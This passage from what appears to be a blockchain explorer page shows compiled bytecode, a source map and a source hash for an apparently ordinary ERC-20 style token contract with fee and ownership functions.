d60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610450565b600060208083528351808285015260005b81811015610f7757858101830151858201604001528201610f5b565b81811115610f89576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610fb657600080fd5b919050565b60008060408385031215610fce57600080fd5b610fd783610f9f565b946020939093013593505050565b600080600060608486031215610ffa57600080fd5b61100384610f9f565b925061101160208501610f9f565b9150604084013590509250925092565b60006020828403121561103357600080fd5b610ac182610f9f565b6000806040838503121561104f57600080fd5b61105883610f9f565b915061106660208401610f9f565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b6000828210156110975761109761106f565b500390565b6000826110b957634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156110d1576110d161106f565b500190565b60008160001904831182151516156110f0576110f061106f565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220550144f693fc25ebd4a0d7793476fecd6c05ccab381df6d1be832a87a7c07a2b64736f6c634300080a0033

Deployed Bytecode Sourcemap

4203:8977:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5859:83;;;;;;;;;;-1:-1:-1;5929:5:0;;;;;;;;;;;;;;;;;5859:83;;;;;;;:::i;:::-;;;;;;;;6875:193;;;;;;;;;;-1:-1:-1;6875:193:0;;;;;:::i;:::-;;:::i;:::-;;;1241:14:1;;1234:22;1216:41;;1204:2;1189:18;6875:193:0;1076:187:1;4643:41:0;;;;;;;;;;-1:-1:-1;4643:41:0;;;;-1:-1:-1;;;;;4643:41:0;;;;;;-1:-1:-1;;;;;1458:55:1;;;1440:74;;1428:2;1413:18;4643:41:0;1268:252:1;6227:95:0;;;;;;;;;;-1:-1:-1;4520:16:0;6227:95;;;1671:25:1;;;1659:2;1644:18;6227:95:0;1525:177:1;7076:446:0;;;;;;;;;;-1:-1:-1;7076:446:0;;;;;:::i;:::-;;:::i;6136:83::-;;;;;;;;;;-1:-1:-1;6136:83:0;;4428:1;2182:36:1;;2170:2;2155:18;6136:83:0;2040:184:1;4919:32:0;;;;;;;;;;-1:-1:-1;4919:32:0;;;;;;;;5124:28;;;;;;;;;;-1:-1:-1;5124:28:0;;;;-1:-1:-1;;;;;5124:28:0;;;6045:83;;;;;;;;;;;;;:::i;:::-;;6330:138;;;;;;;;;;-1:-1:-1;6330:138:0;;;;;:::i;:::-;;:::i;1690:148::-;;;;;;;;;;;;;:::i;1476:79::-;;;;;;;;;;-1:-1:-1;1514:7:0;1541:6;-1:-1:-1;;;;;1541:6:0;1476:79;;5950:87;;;;;;;;;;-1:-1:-1;6022:7:0;;;;;;;;;;;;-1:-1:-1;;;6022:7:0;;;;5950:87;;6476:199;;;;;;;;;;-1:-1:-1;6476:199:0;;;;;:::i;:::-;;:::i;6683:184::-;;;;;;;;;;-1:-1:-1;6683:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;6832:18:0;;;6800:7;6832:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6683:184;1846:244;;;;;;;;;;-1:-1:-1;1846:244:0;;;;;:::i;:::-;;:::i;6875:193::-;6977:4;6999:39;315:10;7022:7;7031:6;6999:8;:39::i;:::-;-1:-1:-1;7056:4:0;6875:193;;;;;:::o;7076:446::-;7208:4;7225:36;7235:6;7243:9;7254:6;7225:9;:36::i;:::-;7272:220;7295:6;315:10;7343:138;7399:6;7343:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7343:19:0;;;;;;:11;:19;;;;;;;;315:10;7343:33;;;;;;;;;;:37;:138::i;:::-;7272:8;:220::i;:::-;-1:-1:-1;7510:4:0;7076:446;;;;;:::o;6045:83::-;1603:6;;-1:-1:-1;;;;;1603:6:0;315:10;1603:22;1595:67;;;;-1:-1:-1;;;1595:67:0;;3118:2:1;1595:67:0;;;3100:21:1;;;3137:18;;;3130:30;3196:34;3176:18;;;3169:62;3248:18;;1595:67:0;;;;;;;;;6099:13:::1;:21:::0;;-1:-1:-1;;6099:21:0::1;::::0;;6045:83::o;6330:138::-;-1:-1:-1;;;;;6443:16:0;;6396:7;6443:16;;;:7;:16;;;;;;6423:37;;:19;:37::i;1690:148::-;1603:6;;-1:-1:-1;;;;;1603:6:0;315:10;1603:22;1595:67;;;;-1:-1:-1;;;1595:67:0;;3118:2:1;1595:67:0;;;3100:21:1;;;3137:18;;;3130:30;3196:34;3176:18;;;3169:62;3248:18;;1595:67:0;2916:356:1;1595:67:0;1797:1:::1;1781:6:::0;;1760:40:::1;::::0;-1:-1:-1;;;;;1781:6:0;;::::1;::::0;1760:40:::1;::::0;1797:1;;1760:40:::1;1828:1;1811:19:::0;;-1:-1:-1;;1811:19:0::1;::::0;;1690:148::o;6476:199::-;6581:4;6603:42;315:10;6627:9;6638:6;6603:9;:42::i;1846:244::-;1603:6;;-1:-1:-1;;;;;1603:6:0;315:10;1603:22;1595:67;;;;-1:-1:-1;;;1595:67:0;;3118:2:1;1595:67:0;;;3100:21:1;;;3137:18;;;3130:30;3196:34;3176:18;;;3169:62;3248:18;;1595:67:0;2916:356:1;1595:67:0;-1:-1:-1;;;;;1935:22:0;::::1;1927:73;;;::::0;-1:-1:-1;;;1927:73:0;;3479:2:1;1927:73:0::1;::::0;::::1;3461:21:1::0;3518:2;3498:18;;;3491:30;3557:34;3537:18;;;3530:62;-1:-1:-1;;;3608:18:1;;;3601:36;3654:19;;1927:73:0::1;3277:402:1::0;1927:73:0::1;2037:6;::::0;;2016:38:::1;::::0;-1:-1:-1;;;;;2016:38:0;;::::1;::::0;2037:6;::::1;::::0;2016:38:::1;::::0;::::1;2065:6;:17:::0;;-1:-1:-1;;2065:17:0::1;-1:-1:-1::0;;;;;2065:17:0;;;::::1;::::0;;;::::1;::::0;;1846:244::o;8010:369::-;-1:-1:-1;;;;;8137:19:0;;8129:68;;;;-1:-1:-1;;;8129:68:0;;3886:2:1;8129:68:0;;;3868:21:1;3925:2;3905:18;;;3898:30;3964:34;3944:18;;;3937:62;-1:-1:-1;;;4015:18:1;;;4008:34;4059:19;;8129:68:0;3684:400:1;8129:68:0;-1:-1:-1;;;;;8216:21:0;;8208:68;;;;-1:-1:-1;;;8208:68:0;;4291:2:1;8208:68:0;;;4273:21:1;4330:2;4310:18;;;4303:30;4369:34;4349:18;;;4342:62;-1:-1:-1;;;4420:18:1;;;4413:32;4462:19;;8208:68:0;4089:398:1;8208:68:0;-1:-1:-1;;;;;8287:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8339:32;;1671:25:1;;;8339:32:0;;1644:18:1;8339:32:0;;;;;;;8010:369;;;:::o;8387:970::-;-1:-1:-1;;;;;8509:18:0;;8501:68;;;;-1:-1:-1;;;8501:68:0;;4694:2:1;8501:68:0;;;4676:21:1;4733:2;4713:18;;;4706:30;4772:34;4752:18;;;4745:62;-1:-1:-1;;;4823:18:1;;;4816:35;4868:19;;8501:68:0;4492:401:1;8501:68:0;-1:-1:-1;;;;;8588:16:0;;8580:64;;;;-1:-1:-1;;;8580:64:0;;5100:2:1;8580:64:0;;;5082:21:1;5139:2;5119:18;;;5112:30;5178:34;5158:18;;;5151:62;-1:-1:-1;;;5229:18:1;;;5222:33;5272:19;;8580:64:0;4898:399:1;8580:64:0;8672:1;8663:6;:10;8655:64;;;;-1:-1:-1;;;8655:64:0;;5504:2:1;8655:64:0;;;5486:21:1;5543:2;5523:18;;;5516:30;5582:34;5562:18;;;5555:62;-1:-1:-1;;;5633:18:1;;;5626:39;5682:19;;8655:64:0;5302:405:1;8655:64:0;-1:-1:-1;;;;;8767:24:0;;8730:12;8767:24;;;:18;:24;;;;;;8745:4;;8767:24;;;:50;;-1:-1:-1;;;;;;8795:22:0;;;;;;:18;:22;;;;;;;;8767:50;8766:102;;;-1:-1:-1;8831:13:0;;-1:-1:-1;;;;;8823:21:0;;;8831:13;;8823:21;;;;:44;;-1:-1:-1;8854:13:0;;-1:-1:-1;;;;;8848:19:0;;;8854:13;;8848:19;;8823:44;8762:534;;;-1:-1:-1;8895:5:0;8762:534;;;8944:13;;-1:-1:-1;;;;;8936:21:0;;;8944:13;;8936:21;:55;;;;-1:-1:-1;8975:15:0;;-1:-1:-1;;;;;8961:30:0;;;8975:15;;8961:30;;8936:55;8933:132;;;9037:12;;9027:7;:22;8933:132;9089:13;;-1:-1:-1;;;;;9083:19:0;;;9089:13;;9083:19;:55;;;;-1:-1:-1;9122:15:0;;-1:-1:-1;;;;;9106:32:0;;;9122:15;;9106:32;;9083:55;9079:204;;;9184:13;;9174:7;:23;9225:13;;;;9217:50;;;;-1:-1:-1;;;9217:50:0;;5914:2:1;9217:50:0;;;5896:21:1;5953:2;5933:18;;;5926:30;5992:26;5972:18;;;5965:54;6036:18;;9217:50:0;5712:348:1;9217:50:0;9308:41;9323:4;9329:2;9333:6;9341:7;9308:14;:41::i;:::-;8490:867;8387:970;;;:::o;2454:224::-;2574:7;2610:12;2602:6;;;;2594:29;;;;-1:-1:-1;;;2594:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2634:9:0;2646:5;2650:1;2646;:5;:::i;:::-;2634:17;2454:224;-1:-1:-1;;;;;2454:224:0:o;7530:323::-;7625:7;7683;;7672;:18;;7650:110;;;;-1:-1:-1;;;7650:110:0;;6529:2:1;7650:110:0;;;6511:21:1;6568:2;6548:18;;;6541:30;6607:34;6587:18;;;6580:62;-1:-1:-1;;;6658:18:1;;;6651:40;6708:19;;7650:110:0;6327:406:1;7650:110:0;7771:19;7793:10;:8;:10::i;:::-;7771:32;-1:-1:-1;7821:24:0;:7;7771:32;7821:11;:24::i;:::-;7814:31;7530:323;-1:-1:-1;;;7530:323:0:o;9856:248::-;10012:7;10007:28;;10021:14;:12;:14::i;:::-;10046:44;10064:6;10072:9;10083:6;10046:17;:44::i;12743:164::-;12785:7;12806:15;12823;12842:19;:17;:19::i;:::-;12805:56;;-1:-1:-1;12805:56:0;-1:-1:-1;12879:20:0;12805:56;;12879:11;:20::i;:::-;12872:27;;;;12743:164;:::o;2940:132::-;2998:7;3025:39;3029:1;3032;3025:39;;;;;;;;;;;;;;;;;:3;:39::i;7861:141::-;7908:7;;7904:25;;7861:141::o;7904:25::-;7961:7;;;7943:15;:25;-1:-1:-1;7983:11:0;;7861:141::o;10112:610::-;10259:15;10289:23;10327:12;10354:23;10392:12;10419:13;10446:19;10457:7;10446:10;:19::i;:::-;-1:-1:-1;;;;;10494:15:0;;;;;;:7;:15;;;;;;10244:221;;-1:-1:-1;10244:221:0;;-1:-1:-1;10244:221:0;;-1:-1:-1;10244:221:0;-1:-1:-1;10244:221:0;-1:-1:-1;10244:221:0;-1:-1:-1;10494:28:0;;10244:221;10494:19;:28::i;:::-;-1:-1:-1;;;;;10476:15:0;;;;;;;:7;:15;;;;;;:46;;;;10554:18;;;;;;;:39;;10577:15;10554:22;:39::i;:::-;-1:-1:-1;;;;;10533:18:0;;;;;;:7;:18;;;;;:60;10604:16;10614:5;10604:9;:16::i;:::-;10631:23;10643:4;10649;10631:11;:23::i;:::-;10687:9;-1:-1:-1;;;;;10670:44:0;10679:6;-1:-1:-1;;;;;10670:44:0;;10698:15;10670:44;;;;1671:25:1;;1659:2;1644:18;;1525:177;10670:44:0;;;;;;;;10233:489;;;;;;10112:610;;;:::o;12915:257::-;13013:7;;12966;;;;4520:16;13081:20;13013:7;4520:16;13081:11;:20::i;:::-;13071:7;:30;13067:61;;;-1:-1:-1;;13111:7:0;;;4520:16;;-1:-1:-1;12915:257:0;-1:-1:-1;12915:257:0:o;13067:61::-;13147:7;;13156;;-1:-1:-1;12915:257:0;-1:-1:-1;12915:257:0:o;3080:223::-;3200:7;3235:12;3228:5;3220:28;;;;-1:-1:-1;;;3220:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3259:9:0;3271:5;3275:1;3271;:5;:::i;11141:604::-;11241:7;11263;11285;11307;11329;11351;11387:23;11412:12;11426:13;11456:29;11468:7;11477;;11456:11;:29::i;:::-;11386:99;;;;;;11496:19;11518:10;:8;:10::i;:::-;11496:32;;11540:15;11557:23;11582:12;11611:46;11623:7;11632:4;11638:5;11645:11;11611;:46::i;:::-;11539:118;;-1:-1:-1;11539:118:0;-1:-1:-1;11539:118:0;-1:-1:-1;11708:15:0;;-1:-1:-1;11725:4:0;;-1:-1:-1;11731:5:0;;-1:-1:-1;;;;;11141:604:0;;;;;;;:::o;2310:136::-;2368:7;2395:43;2399:1;2402;2395:43;;;;;;;;;;;;;;;;;:3;:43::i;2123:179::-;2181:7;;2213:5;2217:1;2213;:5;:::i;:::-;2201:17;;2242:1;2237;:6;;2229:46;;;;-1:-1:-1;;;2229:46:0;;7295:2:1;2229:46:0;;;7277:21:1;7334:2;7314:18;;;7307:30;7373:29;7353:18;;;7346:57;7420:18;;2229:46:0;7093:351:1;10730:211:0;10783:19;10805:10;:8;:10::i;:::-;10783:32;-1:-1:-1;10826:13:0;10842:22;:5;10783:32;10842:9;:22::i;:::-;10916:4;10900:22;;;;:7;:22;;;;;;10826:38;;-1:-1:-1;10900:33:0;;10826:38;10900:26;:33::i;:::-;10891:4;10875:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;10730:211:0:o;10949:147::-;11027:7;;:17;;11039:4;11027:11;:17::i;:::-;11017:7;:27;11068:10;;:20;;11083:4;11068:14;:20::i;:::-;11055:10;:33;-1:-1:-1;;10949:147:0:o;11753:440::-;11895:7;;;;11989:28;12013:3;11989:19;:7;12001:6;11989:11;:19::i;:::-;:23;;:28::i;:::-;11974:43;-1:-1:-1;12028:13:0;12044:28;12068:3;12044:19;:7;12056:6;12044:11;:19::i;:28::-;12028:44;-1:-1:-1;12083:23:0;12109:28;12028:44;12109:17;:7;12121:4;12109:11;:17::i;:::-;:21;;:28::i;:::-;12083:54;-1:-1:-1;12173:4:0;;-1:-1:-1;12179:5:0;-1:-1:-1;;11753:440:0;;;;;:::o;12201:534::-;12395:7;;;;12492:24;:7;12504:11;12492;:24::i;:::-;12474:42;-1:-1:-1;12527:12:0;12542:21;:4;12551:11;12542:8;:21::i;:::-;12527:36;-1:-1:-1;12574:13:0;12590:22;:5;12600:11;12590:9;:22::i;:::-;12574:38;-1:-1:-1;12623:23:0;12649:28;12574:38;12649:17;:7;12661:4;12649:11;:17::i;:28::-;12696:7;;;;-1:-1:-1;12722:4:0;;-1:-1:-1;12201:534:0;;-1:-1:-1;;;;;;;12201:534:0:o;2686:246::-;2744:7;2768:6;2764:47;;-1:-1:-1;2798:1:0;2791:8;;2764:47;2821:9;2833:5;2837:1;2833;:5;:::i;:::-;2821:17;-1:-1:-1;2866:1:0;2857:5;2861:1;2821:17;2857:5;:::i;:::-;:10;2849:56;;;;-1:-1:-1;;;2849:56:0;;7824:2:1;2849:56:0;;;7806:21:1;7863:2;7843:18;;;7836:30;7902:34;7882:18;;;7875:62;-1:-1:-1;;;7953:18:1;;;7946:31;7994:19;;2849:56:0;7622:397:1;14:597;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:196::-;684:20;;-1:-1:-1;;;;;733:54:1;;723:65;;713:93;;802:1;799;792:12;713:93;616:196;;;:::o;817:254::-;885:6;893;946:2;934:9;925:7;921:23;917:32;914:52;;;962:1;959;952:12;914:52;985:29;1004:9;985:29;:::i;:::-;975:39;1061:2;1046:18;;;;1033:32;;-1:-1:-1;;;817:254:1:o;1707:328::-;1784:6;1792;1800;1853:2;1841:9;1832:7;1828:23;1824:32;1821:52;;;1869:1;1866;1859:12;1821:52;1892:29;1911:9;1892:29;:::i;:::-;1882:39;;1940:38;1974:2;1963:9;1959:18;1940:38;:::i;:::-;1930:48;;2025:2;2014:9;2010:18;1997:32;1987:42;;1707:328;;;;;:::o;2460:186::-;2519:6;2572:2;2560:9;2551:7;2547:23;2543:32;2540:52;;;2588:1;2585;2578:12;2540:52;2611:29;2630:9;2611:29;:::i;2651:260::-;2719:6;2727;2780:2;2768:9;2759:7;2755:23;2751:32;2748:52;;;2796:1;2793;2786:12;2748:52;2819:29;2838:9;2819:29;:::i;:::-;2809:39;;2867:38;2901:2;2890:9;2886:18;2867:38;:::i;:::-;2857:48;;2651:260;;;;;:::o;6065:127::-;6126:10;6121:3;6117:20;6114:1;6107:31;6157:4;6154:1;6147:15;6181:4;6178:1;6171:15;6197:125;6237:4;6265:1;6262;6259:8;6256:34;;;6270:18;;:::i;:::-;-1:-1:-1;6307:9:1;;6197:125::o;6738:217::-;6778:1;6804;6794:132;;6848:10;6843:3;6839:20;6836:1;6829:31;6883:4;6880:1;6873:15;6911:4;6908:1;6901:15;6794:132;-1:-1:-1;6940:9:1;;6738:217::o;6960:128::-;7000:3;7031:1;7027:6;7024:1;7021:13;7018:39;;;7037:18;;:::i;:::-;-1:-1:-1;7073:9:1;;6960:128::o;7449:168::-;7489:7;7555:1;7551;7547:6;7543:14;7540:1;7537:21;7532:1;7525:9;7518:17;7514:45;7511:71;;;7562:18;;:::i;:::-;-1:-1:-1;7602:9:1;;7449:168::o

Swarm Source

ipfs://550144f693fc25ebd4a0d7793476fecd6c05ccab381df6d1be832a87a7c07a2b
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.